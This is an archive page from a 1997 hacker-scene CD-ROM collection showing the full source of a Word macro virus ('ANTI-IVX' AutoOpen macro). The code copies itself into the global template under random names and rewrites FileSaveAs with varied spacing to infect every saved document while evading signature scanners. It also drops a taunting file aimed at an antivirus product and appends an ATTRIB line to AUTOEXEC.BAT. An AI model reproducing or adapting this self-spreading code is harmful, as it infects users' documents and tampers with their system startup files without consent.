home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0497.ZIP / MVUPDAT9.ZIP / ANTI-IVX.ZIP / AUTOOPEN.TXT < prev    next >
Text File  |  1997-03-10  |  2KB  |  94 lines
  1. Sub MAIN
  2. REM AutoOpen macro
  3. On Error Goto Abort
  4. M = CountMacros(0, 0)
  5. For i = 1 To M
  6. If MacroName$(i, 0, 0) = "FileSaveAs" Then b = - 1
  7. Next i
  8. If Not b Then
  9. DisableInput
  10. ToolsOptionsSave .FastSaves = 1, .GlobalDotPrompt = 0
  11. ScreenUpdating 0
  12. jqp$ = FileName$()
  13. MacroCopy jqp$ + ":AutoOpen", "Global:GGMZW"
  14. ToolsMacro .Name = "GGMZW", .Edit, .Show = 0
  15. For q = 1 To 5
  16. w$ = w$ + Chr$(Int(Rnd() * 26) + 65)
  17. Next q
  18. EditReplace .Find = "GGMZW", .Replace = w$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1
  19. w$ = ""
  20. For q = 1 To 3
  21. w$ = w$ + Chr$(Int(Rnd() * 26) + 97)
  22. Next q
  23. w$ = w$ + "$"
  24. EditReplace .Find = "jqp$", .Replace = w$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1
  25. ParaDown Int(Rnd() * 50) + 1
  26. Insert "'1 Gen"
  27. InsertPara
  28. DocClose 1
  29. ToolsMacro .Name = "FileSaveAs", .Edit, .Show = 0
  30. StartOfLine
  31. '1 Gen
  32. LineUp 1
  33. Insert "on error goto abort"
  34. InsertPara
  35. LineDown 1
  36. x = Rnd()
  37. If x < 0.2 Then
  38. Insert "dlg.format=1"
  39. ElseIf x < 0.4 Then
  40. Insert "dlg.format = 1"
  41. ElseIf x < 0.6 Then
  42. Insert "dlg. format =1"
  43. ElseIf x < 0.8 Then
  44. Insert " dlg.format=1"
  45. Else
  46. Insert "dlg.format =1"
  47. End If
  48. InsertPara
  49. Insert "'" + Str$(Rnd())
  50. InsertPara
  51. x = Rnd()
  52. If x < 0.2 Then
  53. Insert "jqp$=filename$()"
  54. ElseIf x < 0.4 Then
  55. Insert " jqp$   =  filename$()"
  56. ElseIf x < 0.4 Then
  57. Insert " jqp$ = filename$()"
  58. ElseIf x < 0.4 Then
  59. Insert "   jqp$ =filename$()"
  60. Else
  61. Insert "jqp$   =filename$()"
  62. End If
  63. x = Int(Rnd() * 5) + 2
  64. For i = 1 To x
  65. InsertPara
  66. Next i
  67. Insert "'" + Str$(Rnd())
  68. InsertPara
  69. Insert "macrocopy " + Chr$(34) + "Global:GGMZW" + Chr$(34) + ",jqp$+" + Chr$(34) + ":AutoOpen" + Chr$(34)
  70. InsertPara
  71. LineDown 1
  72. Insert "abort:"
  73. InsertPara
  74. DocClose 1
  75. iv$ = FileNameInfo$(jqp$, 5) + "IVX.NOT"
  76. Open iv$ For Output As #1
  77. Print #1, "IVX detects all macro viruses, past, present, and future."
  78. Close #1
  79. nd$ = DefaultDir$(2) + "\NORMAL.DOT"
  80. Open "C:\AUTOEXEC.BAT" For Input As #1
  81. While Not Eof(1)
  82. Line Input #1, y$
  83. If InStr(y$, nd$) <> 0 Then r = - 1
  84. Wend
  85. Close #1
  86. If Not r Then
  87. Open "C:\AUTOEXEC.BAT" For Append As #1
  88. Print #1, "@ATTRIB -R " + ND$ + " > NUL"
  89. Close #1
  90. End If
  91. End If
  92. Abort:
  93. End Sub
  94.